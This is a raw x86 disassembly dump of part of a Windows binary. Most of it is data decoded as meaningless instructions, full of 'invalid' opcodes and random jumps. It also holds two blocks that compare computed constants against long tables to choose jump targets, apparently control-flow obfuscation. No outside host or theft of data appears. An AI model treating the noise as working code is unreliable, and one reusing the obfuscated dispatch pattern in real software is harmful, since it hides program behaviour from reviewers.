xor al, 0x62
retf
invalid
jp 0x6833eb5c
invalid
fidiv word [eax + 0xb1c33ca]
jae 0x6833eb95
cmpsd dword [esi], dword es:[edi]
adc dl, cl
dec esp
fisttp qword [edi - 0x5777ad88]
pop ebx
call 0xff706102
aas
call 0x5fc29ce5
xchg dword [ecx + edx], eax
mov byte [eax + 0x46a04e38], bh
int 0x40
mov al, byte [0xe56b3ee3]
cmp dword [ecx - 0x77ceabc], edx
mov al, byte [0x4f892fdb]
inc esp
adc eax, 0xdba0f883
das
mov dword [edi + 0x53], ecx
push ebx
dec edx
xor byte [edx], ah
fldcw word [eax - 0x44f6dfd3]
inc ecx
wait
sub al, 0xe8
jecxz 0x6833eb2e
loopne 0x6833eba1
fimul word [eax + 0x38]
add al, 0x99
insb byte es:[edi], dx
mov eax, dword [0xef002ec6]
retf
scasb al, byte es:[edi]
sub edi, 0xffffffd1
faddp st(2)
xor dword [edx], 0x21
jp 0x6833eb8c
adc byte [edx], 0x39
in al, 0x1b
aaa
sub ch, byte [edi + ebp*2]
push 0xfdf2d88
retf 0xf885
cwde
dec esp
push ebp
xchg esi, eax
push es
mov ah, 0xd0
mov dl, 0x4b
xchg esp, eax
lahf
or byte [eax + 0x785f4268], ch
movsd dword es:[edi], dword [esi]
loop 0x6833f66a
dec edx
push eax
shl dword [edx + 0x4a], cl
test eax, 0x1bdcbf5f
movsb byte es:[edi], byte [esi]
cmp esi, edi
mov word [edx], gs
jg 0x6833f67e
sal dword [edx], 1
rol byte [edi + 0x4e22b115], 1
clc
adc eax, 0xf84e22b1
les ecx, [eax - 0x32]
aas
retf 0x80ea
imul edx, dword [eax], 0x62c880d6
inc ecx
div byte [esi - 0x57]
cmpsd dword [esi], dword es:[edi]
mov ah, byte [eax + 0xe]
imul esp, dword [ebx], 0x8f483d
add ebx, dword [edx - 0x20]
aam 0x37
loopne 0x6833f66a
aaa
scasd eax, dword es:[edi]
in eax, 0xb8
mov byte [edi - 0x70909c23], 0xd6
mov eax, dword [0xdd3c8d74]
in eax, dx
jg 0x6833f68c
cwde
adc al, dh
inc ecx
call 0x3446bf64
xchg ecx, eax
int 0x2e
test dword [ebx + ebx*8], edx
dec esp
scasb al, byte es:[edi]
mov dl, byte [edi]
xor byte [esp + edx*2], ch
xchg ecx, eax
mov ecx, 0x3bad4264
ror byte [edi + 0x47584d34], 0xe9
ror dword [edx + 0x66eb4c20], 1
xchg esp, eax
enter 0x4224, 0xffffffffffffff9d
dec edx
dec esp
pop ds
add eax, 0xfcc86ad0
mov byte [0x24913ca], al
fimul dword es:[ecx + 0x59fb444f]
adc ebp, dword [ebx + 0x689bc810]
push ecx
test byte [ecx + 0x2b2d0ed5], bh
xchg esp, eax
lodsd eax, dword [esi]
mov byte [eax + 0x7d], dl
loopne 0x6833f77e
sub eax, 0x88ad942b
push esp
pushal
jge 0x6833f6df
jle 0x6833f694
xchg ebx, eax
sub edi, dword [ecx - 0x66e9ef1b]
in eax, 0x10
push ss
cdq
test dword [eax*2 + 0x79e5bab7], ecx
cmp al, 0xf3
sub byte [edx], bh
xor dword [ecx + 0x53], ecx
movsd dword es:[edi], dword [esi]
fidivr dword [eax - 0x18]
inc ecx
wait
loop 0x6833f780
pop edx
imul edx, dword [ebp - 0x3878e226], 0xffffffa3
cld
fbld tbyte [eax + 0x15f91ff8]
cmp eax, 0xbbcc908b
pop esp
mov dword [eax + 0x5f57c08c], ebx
ror bl, cl
jo 0x6833f741
stc
adc eax, 0xcc908b3d
mov ebx, 0x8c98895c
rcl byte [edi + 0x5f], 0xd2
retf
arpl word [edx + 0x51], si
jnp 0x6833f703
ror dword [ebp - 0x5dd7bfd4], 0x9b
sub dword [eax + 0x7c257d55], ebp
cmpsd dword [esi], dword es:[edi]
lea ebp, [eax + eax*2]
sub byte [edx + 0x55a8299b], ah
jge 0x6833f772
jl 0x6833f6f6
jmp 0x6833f7c6
imul esp, dword [ecx + 0x26], 0xffffffd2
dec ebx
jb 0x6833f72b
sbb eax, 0xd28e2c68
push ss
dec edi
and al, 0x6d
ret
out dx, al
pushfd
jl 0x6833f7dc
or dword [ebx - 0x7e], 0xb2bee4a1
cmp ebp, dword [edx]
scasd eax, dword es:[edi]
retf
mov bl, 0x17
not byte [ecx + 0x71276697]
push 0x4a55e0da
sub esp, dword [ebp - 0x90ae95b]
push es
or edx, dword [edi + 0x7996d71e]
jl 0x6833f841
jns 0x6833f844
js 0x6833f7ad
jecxz 0x6833f796
retf
bnd ret 0x9dc
pop ecx
stosd dword es:[edi], eax
scasd eax, dword es:[edi]
jge 0xc7e76b94
pop eax
lahf
pop esi
add byte [ebx], dh
push esp
iretd
sbb eax, 0x7989d1c6
push ds
out 0x24, eax
salc
jne 0x6833f7c6
retf 0x2180
sub dword ds:[esi - 0xd], ecx
push ebp
dec esi
push ebp
mov esp, 0x93b9dec8
das
xor dword [0x109d1a7], esp
mov eax, 0xe8c5154f
lodsd eax, dword [esi]
cmpsb byte [esi], byte es:[edi]
movsd dword es:[edi], dword [esi]
pop eax
jb 0x6833f8dd
in eax, dx
push esp
clc
inc edi
xor ah, byte [ecx + ebx]
inc esp
dec eax
mov ah, 0xde
dec ebx
and byte [0x428fe2cd], ch
in ax, dx
xchg ecx, eax
in eax, 0xd1
jno 0x6833f823
sub al, 0xbc
pop ss
inc edx
adc eax, 0x8facddc0
inc edx
shr byte [eax + 0x12d953b8], 0x96
cwde
ret 0xa07a
mov edx, 0xa972eb7c
push 0xe89855f9
arpl word [ecx + 0x41], cx
push es
int 0xd9
push 0xfffffffffffffff2
ja 0x6833f967
arpl word [ebx], di
lahf
sbb cl, byte [ebx]
push es
dec eax
jnp 0x6833f93b
ljmp 0xdb58:0xcc7d4be
invalid
adc al, 0x95
mov bl, pe_nt_image_headers32
rcl byte [edi], cl
clc
jb 0x6833f8fd
and edx, dword [edi + ecx*8 + 0x53]
out 0x1f, al
mov al, byte [0xbcf2192f]
wait
xchg word [eax - 0x6a], di
invalid
push ecx
mov edi, 0x88e3d5b2
nop
pop esi
sbb dword [ecx + 0x27bda4d2], ebp
mov fs, word [ebx]
pop ecx
fisub word [edx + 7]
mov eax, 0x1a3ce0f4
xchg edx, eax
mov al, bh
neg dword [ecx]
cmp al, 0x7c
invalid
pop ebp
into
mov ebx, 0xdb48f868
dec eax
invalid
nop
jmp 0x68340b04
nop
jmp 0x68340b04
nop
mov dword [ebp - 0x258], 0xa7c91
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x260], 0x23cbd
mov dword [ebp - 0x25c], 0
mov eax, dword [ebp - 0x254]
imul eax, dword [ebp - 0x260]
mov edx, eax
mov eax, dword [ebp - 0x25c]
imul eax, dword [ebp - 0x258]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x258]
mul dword [ebp - 0x260]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], edx
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], edx
mov eax, dword [ebp - 0x268]
xor eax, 0x7611f30d
mov edx, dword [ebp - 0x264]
xor edx, 0x17
or eax, edx
je 0x6834c9cb
mov edx, 0x7611f30d
mov eax, 0x17
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0xdc1b4
or eax, dword [ebp - 0x264]
je 0x68348b8e
mov edx, 0xdc1b4
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0xd3d0e
or eax, dword [ebp - 0x264]
je 0x68344d4e
mov edx, 0xd3d0e
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0xcf9a5
or eax, dword [ebp - 0x264]
je 0x6834196e
mov edx, 0xcf9a5
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0xc0c2a
or eax, dword [ebp - 0x264]
je 0x68342e2e
mov edx, 0xc0c2a
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0xbcf5f
or eax, dword [ebp - 0x264]
je 0x683476ce
mov edx, 0xbcf5f
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0xbab61
or eax, dword [ebp - 0x264]
je 0x6834388e
mov edx, 0xbab61
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0xb6fdf
or eax, dword [ebp - 0x264]
je 0x683495ee
mov edx, 0xb6fdf
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0x8db28
or eax, dword [ebp - 0x264]
je 0x6834a04e
mov edx, 0x8db28
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0x8a281
or eax, dword [ebp - 0x264]
je 0x68340f0e
mov edx, 0x8a281
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0x82beb
or eax, dword [ebp - 0x264]
je 0x6834620e
mov edx, 0x82beb
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0x6403a
or eax, dword [ebp - 0x264]
je 0x6834812e
mov edx, 0x6403a
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0x60641
or eax, dword [ebp - 0x264]
je 0x683423ce
mov edx, 0x60641
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0x51cef
or eax, dword [ebp - 0x264]
je 0x6834bf6e
mov edx, 0x51cef
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0x3d3b9
or eax, dword [ebp - 0x264]
je 0x683442ee
mov edx, 0x3d3b9
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0xcd10
or eax, dword [ebp - 0x264]
je 0x6834aaae
mov edx, 0xcd10
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0x7e7c
or eax, dword [ebp - 0x264]
je 0x683457ae
mov edx, 0x7e7c
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x6834c9ce
mov eax, dword [ebp - 0x268]
xor eax, 0x472b
or eax, dword [ebp - 0x264]
je 0x6834b50e
mov eax, dword [ebp - 0x268]
xor eax, 0x6778
or eax, dword [ebp - 0x264]
je 0x68346c6e
jmp 0x6834c9ce
xor eax, 0xc054b5c7
dec edi
mov edi, 0x945cc41b
xchg byte [0xffffe229], ch
push eax
rcr dword ds:[eax + 0x32], 1
or edi, dword [edx - 0xd]
fiadd word [0xf1a2d322]
stc
retf
test byte [esi - 0x6b6b5c39], ah
fisub word [edx + 0x2fb648c5]
mov eax, dword [0x59f7dda9]
mov byte [0x9f1242ba], al
mov esp, 0x5143ace4
aas
adc eax, 0xda64190e
scasb al, byte es:[edi]
insd dword es:[edi], dx
ljmp 0x5a8d
mov ecx, edx
inc ebx
loopne 0x68341934
bound esp, qword [esi]
lcall 0x1a7f, 0x78d1ca4c
dec edi
mov esi, 0x9fef9ff4
pop ss
cmpsb byte [esi], byte es:[edi]
or edx, esp
jbe 0x6834194a
inc edi
lodsd eax, dword [esi]
inc ebx
mov cl, ch
invalid
pop edi
sbb dword [edx + 0x3c], esp
imul esp, dword [ebx - 0x2893899], 0x9baa0b69
and eax, 0xa6210ad9
xchg ebx, eax
stc
and byte [ebx + edx*2], 0xd3
invalid
add al, 0xf5
xchg dword [esi - 0x37], edx
add esi, dword [ebx]
jecxz 0x683422e4
invalid
fbstp tbyte [ebp - 9]
aad 0x3d
sbb dword [eax], edx
pop ecx
pop ss
lahf
scasb al, byte es:[edi]
mov ch, 0xe
sar byte [eax], 0xbc
push es
je 0x68342346
sub byte [edx + edi*4 + 0xe70e7f0], bl
aas
popal
add edi, dword [ebx + 0x2f1b838]
push edx
mov byte [eax - 0x59fe1634], dl
add byte [eax], al
cmpsd dword [esi], dword es:[edi]
xchg esi, eax
mov bl, 0xe0
add bl, byte [eax]
arpl word [ebp + 0x2e], bx
mov edi, 0x4ded59f3
cmpsd dword [esi], dword es:[edi]
jns 0x68342409
mov ebp, 0xdf81d26c
inc eax
sti
pop edx
fbld tbyte [ebx - 0x5d0efa52]
jl 0x683423a3
test dword es:[ecx - 0x2e767632], ebp
rcr byte [esi + 0x79], cl
in eax, dx
pop eax
or edx, dword [edi - 0x44]
call 0xcaef94e8
mov dh, 0x32
xchg edx, eax
cmp al, 0xd7
ret
sal byte [ebx + 0x2d], 1
lodsb al, byte [esi]
fucom st(6)
sbb eax, 0x2b875279
scasd eax, dword es:[edi]
add dword [eax - 0x2b], edx
iretd
pop esp
popfd
jb 0x68342e44
arpl word [ecx - 0x1b875820], bx
out dx, eax
cmc
mov dl, 0x39
outsd dx, dword [esi]
or byte [ecx - 0x5a], bh
push es
push es
mov cl, 0x2c
add dword [edx + 0x6e], edx
sub al, 1
push edx
outsb dx, byte [esi]
fisttp word [ecx + ebx*2]
jno 0x68342dd9
je 0x68342ecb
add bl, ch
invalid
dec ebx
ud2
out dx, al
cmp byte [edi + 0x162fa491], 0x8d
sti
outsb dx, byte [esi]
mov ch, ch
out 0xf7, eax
push cs
xchg esi, eax
test al, 0x60
adc esp, edi
daa
stosb byte es:[edi], al
enter 0x6b4a, 0x38
xor al, 0xb2
or dword [ecx], 0xb46ffa97
push cs
sub dword [edx - 0x54], ecx
out dx, eax
push edi
push es
xchg ecx, eax
in eax, 0xd5
pushal
sub byte [edx - 0x3b], dl
std
xchg byte [eax], al
fcom st(7)
xchg byte [ebp - 5], al
cmp dl, byte [edi + 0x78]
inc esi
iretd
xchg ecx, eax
cmp dword [edi + 0x5f05dbce], esi
inc esp
push esp
xchg esp, eax
or al, byte [ecx + 5]
push cs
int1
ret
push ebp
mov bh, 0x75
div dl
outsd dx, dword [esi]
sbb bh, byte [edx + esi*2 + 0x2c]
sar dword [ebp + eax - 0x1b], 1
aam 0xb8
in al, 0x1a
and dl, byte [edi]
and dword [eax], esi
xchg ebp, eax
mov fs, word [ecx + 0x69]
push ss
add edx, dword [ebx]
mov byte [esi], ah
jb 0x68344c9a
insb byte es:[edi], dx
retf
in al, 0xa2
invalid
push ebx
push ecx
sub bl, dl
mov al, 0xf5
sub byte [edx + 0x274f7fa1], bl
sbb dword [esi + 0x2db89ad5], edi
push edx
out 0x8f, al
aad 0x15
rcr dword [esi - 0x27662a07], 0x39
pop ds
cmp dword [ebp + 0x2ae2056b], 0xffffff81
ja 0x68344ca0
rol dword [edi - 0x65], 0x42
inc edx
lodsd eax, dword [esi]
dec esp
into
adc al, 0x8d
cmpsb byte [esi], byte es:[edi]
pop edx
push ecx
inc eax
add byte [eax], bh
mov bl, 0x6f
jbe 0x68344ce2
cmpsb byte [esi], byte es:[edi]
jl 0x68344d89
xor cl, bl
push ds
wait
sahf
jg 0x68344cbe
push edi
iretd
sbb dword [esi - 0x78f5f4b4], eax
jle 0x68344d0d
mov esp, 0xcf0aeb1d
in eax, 0xb0
scasb al, byte es:[edi]
ficom word [esi - 0x158d33a0]
fimul word [ecx + 0x767ddd6a]
xchg dword [esi], ebp
cwde
cmpsd dword [esi], dword es:[edi]
xor ecx, dword [ebx]
dec ebx
sub bl, byte [edi + ebx*2 + 0x4cc1f548]
call 0x8ad4824b
push esp
pop ebx
cmc
dec eax
adc dword [eax - 0x5b2b3ce4], edi
dec edi
add eax, 0x1f1d4fc5
lds ecx, [edi + 0x1d]
pop ds
push es
jl 0x68344e05
xlatb
aaa
adc dword [ebx + ebp - 0x77], ebx
inc ebx
xchg edx, eax
invalid
int1
jp 0x68344e34
aaa
or ch, byte [ecx]
xor ah, ch
invalid
push 0x22
movsd dword es:[edi], dword [esi]
push es
or ecx, dword [esi]
and al, 0x74
mov bl, 0x90
int3
lahf
inc edi
shr dword [ebx - 0x27], 1
mov byte [0xab73e579], al
and al, 0x7a
push edi
sub edi, dword [ecx - 0x1aa268db]
push esp
xor al, 7
sub ah, ah
lahf
fcomp dword [edx]
or dword [eax + 0x5d], ecx
in al, dx
jl 0x6834584d
lahf
adc eax, 0x29ba231c
cmp eax, 0x755bea41
invalid
jnp 0x6834586e
not dword [ebp - 0x18edabda]
fidiv word [ecx + ebp*2 + 0x38da238c]
sub esi, dword [edx - 2]
jecxz 0x683458a2
insb byte es:[edi], dx
leave
push esi
pop ss
inc eax
add eax, 0xb0c632f2
sbb byte [edx + 0x1e020b9d], dh
or eax, dword [edx]
push ds
push dx
rdtsc
inc ebx
and eax, 0x9f41cadc
mov dl, 0x7c
bound ebp, qword [edi - 0x323c96e9]
sub dword [ecx + esi*8], edx
mov cl, 0xb3
out 0x9a, eax
inc ecx
and al, 0x3c
mov eax, 0x6463c6c0
inc ebp
mov bh, 0xbe
jno 0x683458a8
xlatb
adc al, 0x80
arpl word [ebx + 0x56], di
nop
int3
cmp al, 0x81
add ah, byte [ebx - 0x3a]
stc
salc
outsb dx, byte [esi]
mov eax, dword fs:[0x132f2c73]
inc eax
mov bh, ah
fnsave dword [edx - 0x2a]
sub byte [eax - 0x122255e6], 0xb3
int1
int3
mov cl, 0x69
jg 0x683461ef
push es
in eax, dx
sbb eax, esi
sbb dh, dh
adc dword [esi + 0x392aa045], edx
cmpsd dword [esi], dword es:[edi]
adc byte [ecx + ecx*2], dl
into
fild qword cs:[eax + edx*8]
pushfd
invalid
pop edi
inc ecx
aam 0x57
sub byte [edi - 0x50], al
and eax, 0x7480eee0
fcomp dword [edx + 8]
cmp dword [esi + 0x32d961ec], esp
fnstenv [edx]
mov byte [ebx + 0x64], cl
nop
int3
adc al, 0x87
pop ebp
inc esp
loope 0x68346202
sub ebp, dword [ebp + 0x2f]
sub byte [esi], 0xd3
ja 0x68346264
test dword [esi - 0x71], ebx
jno 0x683461ad
inc eax
outsb dx, byte [esi]
xchg edi, eax
leave
cmpsd dword [esi], dword es:[edi]
pop ebx
adc eax, 0xb1490c81
cmp al, 0x42
lodsb al, byte ss:[esi]
jle 0x68346235
cld
push 0xffffffffffffff97
aaa
add dword [esi - 0x39], edx
movsb byte es:[edi], byte [esi]
and al, 0xe
dec edx
inc edx
jno 0x6834625f
lea edx, [edi]
mov esi, 0x7908177c
das
cmp dword [edx*8 - 0x15755a55], esi
mov al, 0xa9
add eax, 0x59958ac1
fst dword [eax]
mov bh, 0x15
xor dl, byte [esi + 0x48]
ljmp 0x5831
retf 0xeda0
pop eax
scasb al, byte es:[edi]
mov al, 0x7a
std
dec esi
add dword [esi], edx
mov ebx, 0xf90ad835
neg dword [ebx]
nop
xor eax, 0x4149feee
mov ch, 0x94
lahf
mov ah, 0x52
pop eax
cmp esi, dword [edi]
outsd dx, dword [esi]
xor al, 0xae
out dx, eax
mov edi, 0x77022cfa
jle 0x683462b1
or edx, ecx
into
loope 0x683462f0
jbe 0x683462ac
leave
out dx, eax
or al, 0xf0
sub dword [ecx - 0x7a44c9ec], ecx
test al, 0x41
jae 0x68346223
cli
ljmp 0xa873
adc dword [edx - 0x19], ebx
pop esp
cmp byte [esi], al
cmp byte [esi], al
lodsd eax, dword [esi]
push ecx
mov ebp, dword [esp + ebp*8]
std
jle 0x6834623f
mov dword [esi + 0x148be522], 0xa6b4c79b
invalid
jg 0x68346343
invalid
cmp esp, dword [ecx + 0x6f]
fsubr dword [edx]
pushal
arpl word [ecx + 0x30d4cedb], cx
inc esp
salc
xor eax, 0xa88a2238
retf
invalid
fisub dword [esi + edi*4 - 0x1f]
movsb byte es:[edi], byte [esi]
mov dword [0xbe8c7bda], eax
imul eax, dword [ebx + 0x12], 0x98d56894
insb byte es:[edi], dx
or dh, byte [eax + 0x45]
mov edx, dword [eax]
cli
nop
int3
daa
pushal
jns 0x683476e8
hlt
and al, 0x76
in al, dx
imul ebp, ebx, 0x58
wait
pop ebx
xor byte [esi + 0x10], al
adc dl, bl
push 0xffffffffffffff9d
mov word [edi + 0x72], fs
cmp dword [edx - 0x650aa7c6], edx
in eax, dx
nop
xor dh, ch
mov ebp, 0x6cbaaf59
dec ebx
aaa
xchg esi, eax
fisttp dword [ebx - 0x6e592e9d]
sbb ebp, edx
cmpsd dword [esi], dword es:[edi]
push ecx
in al, 0x85
cmp dword [edi - 0x649c7a21], esp
jne 0x683476af
xchg ebx, eax
ret
xor eax, 0x808ed19e
cmp al, 0xc6
add al, 0x7d
test al, 0x8c
and ebp, ecx
cmp dword [ecx + eax*4 + 0x44], edx
arpl word [ebp + 0x106ff17d], si
ror al, 0x64
ret
fsub dword [ebx - 0x3a36ee2b]
retf 0xa847
xchg edi, eax
salc
iretd
cmp al, 0x5e
fist word [esp + ebx*2 - 0x48]
sbb dword [edx + 0x6874b3a1], esi
fldcw word [esi - 0x25b7e04d]
invalid
jns 0x68349fce
fisttp dword [eax + 0x6c3910f0]
pushal
cmc
sti
lodsd eax, dword [esi]
mov bl, 0xaa
stosb byte es:[edi], al
js 0x6834a041
lahf
pop esi
mov edx, dword [eax + 0x2981e9cc]
add byte [eax], al
push edi
out dx, eax
inc ebp
cmp al, ch
call 0xbb52f7c4
jmp 0x6834a0a3
adc byte [eax - 0x5e2e2e58], bl
cmpsb byte [esi], byte es:[edi]
adc dl, byte [ebp + 0x9786162]
out 0x8b, al
dec esp
jl 0x6834a034
fcomp dword [esi]
stc
inc esp
mov dword [0x1708e266], eax
adc dword [ecx - 0x30f07002], esi
jmp 0x925a2618
je 0x6834a0af
or eax, dword [esi]
bound edi, qword [ecx - 0x367322c]
je 0x6834a062
shl byte ds:[esi], 0x6b
invalid
xor al, ch
fistp word gs:[eax + 0xfe9c791]
adc dword [ecx - 0x2d], 0x6dbab657
int3
or cl, bl
mov al, byte ss:[ebx - 0x2ef76c82]
inc ebp
or al, 0x2a
daa
sal al, 0x43
inc ebp
nop
int3
imul ecx, ecx, 0x33
pop ebp
mov ecx, 0x4a583ca4
mov al, 0x25
dec edx
outsd dx, dword es:[esi]
mov bh, 0x86
and ebx, dword [ecx]
adc al, byte [ecx - 0x15fa1d6d]
out dx, al
jmp 0x6834b4f6
xchg edx, eax
sbb eax, 0xc90113ab
rcl byte [esi - 3], 0xcf
mov cl, 0xfc
das
ljmp 0xbd0a
nop
jmp 0x6834c9cf
nop
mov eax, dword [ebp + 8]
jmp 0x68359316
mov dword [ebp - 0x240], 0x8b27e
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x248], 0x8c715
mov dword [ebp - 0x244], 0
mov ecx, dword [ebp - 0x240]
mov ebx, dword [ebp - 0x23c]
mov eax, dword [ebp - 0x248]
mov edx, dword [ebp - 0x244]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], edx
mov eax, dword [ebp - 0x250]
xor eax, 0x117993
or eax, dword [ebp - 0x24c]
je 0x6835930d
mov edx, 0x117993
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0xd5e43
or eax, dword [ebp - 0x24c]
je 0x683520f0
mov edx, 0xd5e43
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0xd117a
or eax, dword [ebp - 0x24c]
je 0x683554d0
mov edx, 0xd117a
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0xba7f2
or eax, dword [ebp - 0x24c]
je 0x68350c30
mov edx, 0xba7f2
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0xb489d
or eax, dword [ebp - 0x24c]
je 0x683588b0
mov edx, 0xb489d
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0xa1b07
or eax, dword [ebp - 0x24c]
je 0x68354010
mov edx, 0xa1b07
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0x9a948
or eax, dword [ebp - 0x24c]
je 0x68355f30
mov edx, 0x9a948
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0x9a1dc
or eax, dword [ebp - 0x24c]
je 0x6834d850
mov edx, 0x9a1dc
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0x94056
or eax, dword [ebp - 0x24c]
je 0x6834ed10
mov edx, 0x94056
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0x8bec4
or eax, dword [ebp - 0x24c]
je 0x683535b0
mov edx, 0x8bec4
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0x595e1
or eax, dword [ebp - 0x24c]
je 0x6834f770
mov edx, 0x595e1
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0x4f382
or eax, dword [ebp - 0x24c]
je 0x683573f0
mov edx, 0x4f382
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0x48bd4
or eax, dword [ebp - 0x24c]
je 0x68357e50
mov edx, 0x48bd4
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0x3f303
or eax, dword [ebp - 0x24c]
je 0x683501d0
mov edx, 0x3f303
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0x3e235
or eax, dword [ebp - 0x24c]
je 0x6834cdf0
mov edx, 0x3e235
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0x3c6ea
or eax, dword [ebp - 0x24c]
je 0x6834e2b0
mov edx, 0x3c6ea
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0x37f8c
or eax, dword [ebp - 0x24c]
je 0x68356990
mov edx, 0x37f8c
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0x2c5fb
or eax, dword [ebp - 0x24c]
je 0x68351690
mov edx, 0x2c5fb
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x68359310
mov eax, dword [ebp - 0x250]
xor eax, 0x1a5a8
or eax, dword [ebp - 0x24c]
je 0x68352b50
mov eax, dword [ebp - 0x250]
xor eax, 0x238ba
or eax, dword [ebp - 0x24c]
je 0x68354a70
jmp 0x68359310
dec esi
mov ebx, 0xdba00f80
mov ah, 0xdc
add eax, dword [ecx]
xchg esp, eax
pop ecx
into
push ss
add dl, byte [ebp + 0x3db4040]
enter 0x31d9, 0xffffffffffffffa7
jo 0x6834ce24
rcl byte [edx], cl
test al, 0xcb
js 0x6834ce15
cmp dword [0x85cefc42], esp
pushfd
inc edx
cld
into
test dword [esi + ecx + 0x3f17fd7c], ebx
push cs
jl 0x6834ce1a
pop ss
aas
int 0xca
lahf
cwde
jl 0x6834cdc8
mov dword [0xe7e460b8], eax
push es
mov eax, 0x6e7e460
invalid
mov dword [edx - 0x58], 0x21dabaa6
fidivr word [edx]
inc edx
sbb dl, byte [edx - 0x6a]
xchg esi, eax
xor al, 0x97
je 0x6834d809
adc byte [ebx + 0x3c], bl
xchg esi, eax
pushal
call fcn.6834637c
insb byte es:[edi], dx
je 0x6834d897
invalid
fimul dword [eax - 0x489ed004]
xchg esi, eax
pop ecx
dec edi
push es
enter 0xffffffffffffcc12, 0x7e
daa
push esp
jnp 0x6834d815
into
cld
cli
sbb al, 0x26
xchg dword [edi - 0x53], ebx
push eax
mov ch, 0x79
clc
popfd
